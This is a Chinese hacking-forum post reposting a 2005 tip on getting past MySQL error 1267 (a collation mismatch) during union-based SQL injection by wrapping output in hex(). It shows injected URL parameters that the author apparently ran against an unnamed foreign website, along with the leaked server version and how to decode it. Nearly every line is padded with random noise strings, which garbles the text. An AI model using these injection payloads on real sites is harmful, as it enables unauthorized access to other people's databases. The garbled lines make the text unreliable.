找回密码
 立即注册
查看: 2788|回复: 0
打印 上一主题 下一主题

MySQL注射时ErrorNo.1267的突破

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:04:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本文作者:SuperHei
1 o( v) }7 \4 H/ _' l" }* ?文章性质:原创
% l7 q" I4 k5 ^% S+ n6 `) e! u发布日期:2005-10-18" }. {: ?- @$ Q! R3 l
测试个国外的站时:2 g3 |1 c6 F( T4 p( e
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
. T. l) {2 I8 ~返回错误:
# ]0 u1 J7 X) O2 K8 y. H/ dIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
# f1 L5 j: }( e/ h# gMySQL Error No. 126; t/ s; t# j0 |! w& y
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
. w( h" D! z1 V$ j0 S解决办法:转为其他编码如hex。1 l# T% u2 W, }
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
# E; O. M3 m; ^9 Z& ]) J+ J成功得到hex(version())的值为:
& B, M( O" ^8 o5 i/ n+ A342E312E332D62657461
0 G, C4 Z; r0 W0 o# K+ @) P7 e回Mysql查询下得到:
5 j- m( h" a8 T$ g/ u/ r. @( qmysql> select 0x342E312E332D62657461;( V$ o( m0 G' h$ W+ S* P
+------------------------+
, J* m1 d+ C1 k% U2 G| 0x342E312E332D62657461 |
6 l  _/ `+ [* u+ {* n/ g% O+------------------------+
4 e: T+ x9 H  \4 Q0 \- B3 l| 4.1.3-beta |
% K) F7 M% X1 q& v& b! p/ F# D1 g+------------------------+
+ |' V/ i" \  x1 row in set (0.00 sec)
: ^: J& b% X3 b$ ~8 W" E3 `2 C, a) C% s/ B' g5 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表